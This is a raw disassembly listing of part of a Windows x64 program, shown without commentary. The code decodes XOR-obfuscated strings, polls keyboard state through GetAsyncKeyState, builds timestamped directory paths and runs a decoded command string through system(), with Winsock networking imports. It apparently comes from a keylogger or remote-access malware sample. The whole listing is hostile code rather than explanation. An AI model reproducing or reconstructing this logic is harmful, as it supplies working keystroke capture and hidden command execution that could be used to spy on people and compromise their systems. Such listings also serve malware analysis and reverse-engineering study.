lea r9, [rbp + 0xcb8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14004ada0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r15
mov qword [rbp + 0x508], r15
lea rax, [rbp + 0xcb8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004adf5
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x4f0]
call fcn.1400050f0
lea rcx, [rbp + 0x4f0]
call fcn.140017920
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x254], 0xff
mov dword [rbp + 0x25c], 0xff
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x250], 0xff
movsd xmm0, qword [0x140201270]
movsd qword [rbp + 0xc88], xmm0
mov eax, dword [0x140201278]
mov dword [rbp + 0xc90], eax
movzx eax, word [0x14020127c]
mov word [rbp + 0xc94], ax
movzx eax, byte [0x14020127e]
mov byte [rbp + 0xc96], al
mov r8d, r15d
cmp r12d, 2
jl 0x14004afa4
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201270]
pxor xmm2, xmm1
movd dword [rbp + 0xc88], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc8c]
pxor xmm2, xmm1
movd dword [rbp + 0xc8c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xc88]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14004afb1
xorps xmm0, xmm0
movups xmmword [rbp + 0x1148], xmm0
mov qword [rbp + 0x1158], r15
mov qword [rbp + 0x1160], r15
lea rax, [rbp + 0xc88]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004b006
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0x1148]
call fcn.1400050f0
nop
lea r9, [rbp + 0x254]
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x1148]
lea rcx, [rbp + 0x15d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14004b054
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x15e8]
cmp rdx, 0x10
jb 0x14004b0b1
inc rdx
mov rcx, qword [rbp + 0x15d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b0ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d83
call fcn.1400b7470
mov qword [rbp + 0x15e0], r15
mov qword [rbp + 0x15e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x15d0], 0
mov rdx, qword [rbp + 0x1160]
cmp rdx, 0x10
jb 0x14004b10b
inc rdx
mov rcx, qword [rbp + 0x1148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b106
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d8a
call fcn.1400b7470
mov qword [rbp + 0x1158], r15
mov qword [rbp + 0x1160], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1148], 0
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x55b62e2695f425
test rax, rcx
jne 0x14004b26e
movabs rdi, 0x55b62e24db72e5
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test rdi, rcx
jne 0x14004b26e
mov ecx, 0x61
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x89237cff58de5
test rax, rcx
jne 0x14004b26e
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0xdb6c4f6949ed
test rax, rcx
jne 0x14004b911
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test rdi, rcx
jne 0x14004b911
mov ecx, 0x62
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x89237d0a81505
test rax, rcx
jne 0x14004b911
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x89616939aa6e5
test rax, rcx
jne 0x14004b731
mov ecx, 0x33
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x89237d0a8576d
test rax, rcx
jne 0x14004b731
mov ecx, 0x63
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x89236b7d13ee5
test rax, rcx
jne 0x14004b731
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x55b62e2695f425
test rax, rcx
je 0x14004b150
call sub.MSVCP140.dll__Xtime_get_ticks
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp - 0x10], rdx
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x17c0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
mov eax, dword [0x140201288]
mov dword [rbp + 0xc18], eax
movzx eax, word [0x14020128c]
mov word [rbp + 0xc1c], ax
movsd xmm0, qword [0x140201280]
movzx eax, byte [0x14020128e]
movsd qword [rbp + 0xc10], xmm0
mov byte [rbp + 0xc1e], al
mov r8d, r15d
cmp r12d, 2
jl 0x14004b3fe
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201280]
pxor xmm2, xmm1
movd dword [rbp + 0xc10], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc14]
pxor xmm2, xmm1
movd dword [rbp + 0xc14], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xc10]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14004b410
lea r9, [rbp + 0x17c0]
lea r8, [rbp + 0xc10]
mov edx, 0x50
lea rcx, [rbp + 0x2110]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1288], xmm0
mov qword [rbp + 0x1298], r15
mov qword [rbp + 0x12a0], r15
lea rax, [rbp + 0x2110]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004b485
lea rdx, [rbp + 0x2110]
lea rcx, [rbp + 0x1288]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x14d0]
call fcn.140014b60
nop
movsd xmm0, qword [0x140201290]
movsd qword [rbp + 0xbf0], xmm0
movzx eax, byte [0x140201298]
mov byte [rbp + 0xbf0], Ordinal_50
xor byte [rbp + 0xbf1], 0x31
xor byte [rbp + 0xbf2], 0x32
xor byte [rbp + 0xbf3], 0x33
xor byte [rbp + 0xbf4], 0x34
xor byte [rbp + 0xbf5], 0x35
xor byte [rbp + 0xbf6], 0x36
xor byte [rbp + 0xbf7], 0x37
xor al, 0x38
mov byte [rbp + 0xbf8], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x1168], xmm0
mov qword [rbp + 0x1178], r15
mov qword [rbp + 0x1180], r15
lea rax, [rbp + 0xbf0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b530
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0x1168]
call fcn.1400050f0
nop
lea r8, [rbp + 0x14d0]
cmp qword [rbp + 0x14e8], 0x10
cmovae r8, qword [rbp + 0x14d0]
mov r9, qword [rbp + 0x14e0]
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14002d850
xorps xmm0, xmm0
movups xmmword [rbp + 0xd48], xmm0
mov qword [rbp + 0xd58], r15
mov qword [rbp + 0xd60], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or r14d, 0x40
mov dword [rsp + 0x38], r14d
mov rdx, qword [rbp + 0x1180]
cmp rdx, 0x10
jb 0x14004b600
inc rdx
mov rcx, qword [rbp + 0x1168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b5fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d91
call fcn.1400b7470
mov qword [rbp + 0x1178], r15
mov qword [rbp + 0x1180], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1168], 0
movzx eax, word [0x14020129c]
mov word [rsp + 0x58], ax
cmp byte [0x14020129d], 0
je 0x14004b638
mov byte [rsp + 0x58], Ordinal_50
xor byte [rsp + 0x59], 0x31
xorps xmm0, xmm0
movups xmmword [rbp + 0x1188], xmm0
mov qword [rbp + 0x1198], r15
mov qword [rbp + 0x11a0], r15
lea rax, [rsp + 0x58]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004b660
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x1188]
call fcn.1400050f0
nop
mov r12, qword [rbp + 0xd58]
mov r13, qword [rbp + 0x1298]
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r12
cmp rax, r13
jb 0x14005126c
lea rax, [rbp + 0xd48]
cmp qword [rbp + 0xd60], 0x10
cmovae rax, qword [rbp + 0xd48]
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x1288]
cmp qword [rbp + 0x12a0], 0x10
cmovae rcx, qword [rbp + 0x1288]
mov qword [rsp + 0x78], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0xef8], xmm0
mov qword [rbp + 0xf08], r15
mov qword [rbp + 0xf10], r15
lea r14, [r12 + r13]
mov edi, reloc.WS2_32.dll_ntohs
lea rsi, [rbp + 0xef8]
cmp r14, rdi
jbe 0x14004b982
mov rdi, r14
or rdi, 0xf
cmp rdi, rdx
jbe 0x14004b91b
mov rdi, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14004b942
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp + 0x1680], xmm0
movups xmm1, xmmword [0x140201720]
movups xmmword [rbp + 0x1690], xmm1
mov eax, dword [0x140201730]
mov dword [rbp + 0x16a0], eax
mov r8d, r15d
cmp r12d, 2
jl 0x14004b8b7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x1684]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14004b7b0
cmp r8d, 0x24
jge 0x14004b8ff
movsxd rax, r8d
lea r9, [rbp + 0x1680]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14004b8d0
lea rcx, [rbp + 0x1680]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14004a1f0
call fcn.14002deb0
jmp 0x14004a1f0
cmp rdi, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14004b965
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140050d9f
mov rcx, rax
call fcn.1400b7434
test rax, rax
je 0x140050d98
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rbp - 0x30]
jmp 0x14004b97b
test rcx, rcx
je 0x14004b978
call fcn.1400b7434
mov rsi, rax
mov rax, qword [rbp - 0x30]
jmp 0x14004b97b
mov rsi, r15
mov qword [rbp + 0xef8], rsi
mov qword [rbp + 0xf08], r14
mov qword [rbp + 0xf10], rdi
mov r8, r12
mov rdx, rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + r12]
mov r8, r13
mov rdx, qword [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
mov esi, dword [rsp + 0x38]
or esi, 0x20
lea r9, [rbp + 0x1188]
lea r8, [rbp + 0xef8]
movzx edx, bl
lea rcx, [rbp + 0xed8]
call fcn.1400074b0
or esi, 0x10
mov rdx, qword [rbp + 0xf10]
cmp rdx, 0x10
jb 0x14004ba1c
inc rdx
mov rcx, qword [rbp + 0xef8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ba17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050da5
call fcn.1400b7470
mov qword [rbp + 0xf08], r15
mov qword [rbp + reloc.WS2_32.dll_ntohs10], 0xf
mov byte [rbp + 0xef8], 0
mov rdx, qword [rbp + 0x11a0]
cmp rdx, 0x10
jb 0x14004ba76
inc rdx
mov rcx, qword [rbp + 0x1188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ba71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050dac
call fcn.1400b7470
mov qword [rbp + 0x1198], r15
mov qword [rbp + 0x11a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1188], 0
lea rcx, [rbp + 0xd48]
cmp qword [rbp + 0xd60], 0x10
cmovae rcx, qword [rbp + 0xd48]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [rbp + 0xed8]
cmp qword [rbp + 0xef0], 0x10
jb 0x14004bac4
mov rcx, qword [rbp + 0xed8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov eax, dword [str.vP__G]
mov dword [rbp + 0xba8], eax
movzx eax, word [0x1402012a4]
mov word [rbp + 0xbac], ax
movzx eax, byte [0x1402012a6]
mov byte [rbp + 0xba8], 0x46
xor byte [rbp + 0xba9], 0x31
xor byte [rbp + 0xbaa], 0x32
xor byte [rbp + 0xbab], 0x33
xor byte [rbp + 0xbac], 0x34
xor byte [rbp + 0xbad], 0x35
xor al, 0x36
mov byte [rbp + 0xbae], al
xorps xmm0, xmm0
movups xmmword [rbp + 0xe98], xmm0
mov qword [rbp + 0xea8], r15
mov qword [rbp + 0xeb0], r15
lea rax, [rbp + 0xba8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004bb43
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0xe98]
call fcn.1400050f0
nop
lea r8, [rbp + 0xed8]
cmp qword [rbp + 0xef0], 0x10
cmovae r8, qword [rbp + 0xed8]
mov r9, qword [rbp + 0xee8]
xor edx, edx
lea rcx, [rbp + 0xe98]
call fcn.14002d850
xorps xmm0, xmm0
movups xmmword [rbp + 0xd68], xmm0
mov qword [rbp + 0xd78], r15
mov qword [rbp + 0xd80], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts esi, 7
mov rdx, qword [rbp + 0xeb0]
cmp rdx, 0x10
jb 0x14004bc0e
inc rdx
mov rcx, qword [rbp + 0xe98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bc09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050db3
call fcn.1400b7470
mov eax, dword [str.xXF_e5]
mov dword [rbp + 0xba0], eax
movzx eax, word [0x1402012ac]
mov word [rbp + 0xba4], ax
mov byte [rbp + 0xe98], 0
mov qword [rbp + 0xeb0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xea8], r15
mov byte [rbp + 0xba0], 0x48
xor byte [rbp + 0xba1], 0x31
xor byte [rbp + 0xba2], 0x32
xor byte [rbp + 0xba3], 0x33
xor byte [rbp + 0xba4], 0x34
xor byte [rbp + 0xba5], 0x35
xorps xmm0, xmm0
movups xmmword [rbp + 0xfb8], xmm0
mov qword [rbp + 0xfc8], r15
mov qword [rbp + 0xfd0], r15
lea rax, [rbp + 0xba0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004bc91
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0xfb8]
call fcn.1400050f0
nop
lea r8, [rbp + 0xed8]
cmp qword [rbp + 0xef0], 0x10
cmovae r8, qword [rbp + 0xed8]
mov r9, qword [rbp + 0xee8]
xor edx, edx
lea rcx, [rbp + 0xfb8]
call fcn.14002d850
xorps xmm0, xmm0
movups xmmword [rbp + 0xc38], xmm0
mov qword [rbp + 0xc48], r15
mov qword [rbp + 0xc50], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc48], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts esi, 0xa
mov r8, qword [rbp + 0xfd0]
cmp r8, 0x10
jb 0x14004bd3e
inc r8
mov rdx, qword [rbp + 0xfb8]
lea rcx, [rbp + 0xfb8]
call fcn.140004400
mov qword [rbp + 0xfc8], r15
mov qword [rbp + reloc.WS2_32.dll_ntohsd0], 0xf
mov byte [rbp + 0xfb8], 0
lea rcx, [rbp + 0xd68]
cmp qword [rbp + 0xd80], 0x10
cmovae rcx, qword [rbp + 0xd68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [rbp + 0xc38]
cmp qword [rbp + 0xc50], 0x10
cmovae rcx, qword [rbp + 0xc38]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rax, qword [0x1402012b0]
mov qword [rbp + 0xc20], rax
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1402012b7], 0
je 0x14004bf10
cmp r12d, 2
jl 0x14004bed7
movdqa xmm4, xmmword [0x1402017c0]
mov r13d, 1
movd xmm6, r13d
mov r14d, Ordinal_32
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc20]
pxor xmm2, xmm1
movd dword [rbp + 0xc20], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc24]
pxor xmm2, xmm1
movd dword [rbp + 0xc24], xmm2
jmp 0x14004bf1a
lea r9, [rbp + 0xc20]
mov r8d, r15d
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004bee1
mov r13d, 1
lea r14d, [r13 + 0x1e]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe30], xmm0
mov qword [rbp + 0xe40], r15
mov qword [rbp + 0xe48], r15
lea rax, [rbp + 0xc20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004bf40
lea rdx, [rbp + 0xc20]
lea rcx, [rbp + 0xe30]
call fcn.1400050f0
nop
lea r8, [rbp + 0xd68]
cmp qword [rbp + 0xd80], 0x10
cmovae r8, qword [rbp + 0xd68]
mov r9, qword [rbp + 0xd78]
xor edx, edx
lea rcx, [rbp + 0xe30]
call fcn.14002d850
xorps xmm0, xmm0
movups xmmword [rbp + 0x1078], xmm0
mov qword [rbp + 0x1088], r15
mov qword [rbp + 0x1090], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1078], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1088], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts esi, 9
lea rcx, [0x140466010]
call fcn.140003990
movups xmm0, xmmword [rbp + 0x1078]
movups xmmword [0x140466010], xmm0
movups xmm1, xmmword [rbp + 0x1088]
movups xmmword [0x140466020], xmm1
mov qword [rbp + 0x1088], r15
mov qword [rbp + 0x1090], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1078], 0
mov r8, qword [rbp + 0xe48]
cmp r8, 0x10
jb 0x14004c02e
inc r8
mov rdx, qword [rbp + 0xe30]
lea rcx, [rbp + 0xe30]
call fcn.140004400
movsd xmm0, qword [0x1402012b8]
movzx eax, byte [0x1402012c0]
movsd qword [rbp + 0xbb0], xmm0
mov byte [rbp + 0xe30], 0
mov qword [rbp + 0xe48], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xe40], r15
mov byte [rbp + 0xbb0], 0x46
xor byte [rbp + 0xbb1], 0x31
xor byte [rbp + 0xbb2], 0x32
xor byte [rbp + 0xbb3], 0x33
xor byte [rbp + 0xbb4], 0x34
xor byte [rbp + 0xbb5], 0x35
xor byte [rbp + 0xbb6], 0x36
xor byte [rbp + 0xbb7], 0x37
xor al, 0x38
mov byte [rbp + 0xbb8], al
xorps xmm0, xmm0
movups xmmword [rbp + 0xe10], xmm0
mov qword [rbp + 0xe20], r15
mov qword [rbp + 0xe28], r15
lea rax, [rbp + 0xbb0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004c0c4
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0xe10]
call fcn.1400050f0
nop
lea r8, [rbp + 0xc38]
cmp qword [rbp + 0xc50], 0x10
cmovae r8, qword [rbp + 0xc38]
mov r9, qword [rbp + 0xc48]
xor edx, edx
lea rcx, [rbp + 0xe10]
call fcn.14002d850
xorps xmm0, xmm0
movups xmmword [rbp + 0x10b8], xmm0
mov qword [rbp + 0x10c8], r15
mov qword [rbp + 0x10d0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10b8], xmm0
movups xmm1, xmmword [rax + 0x10]
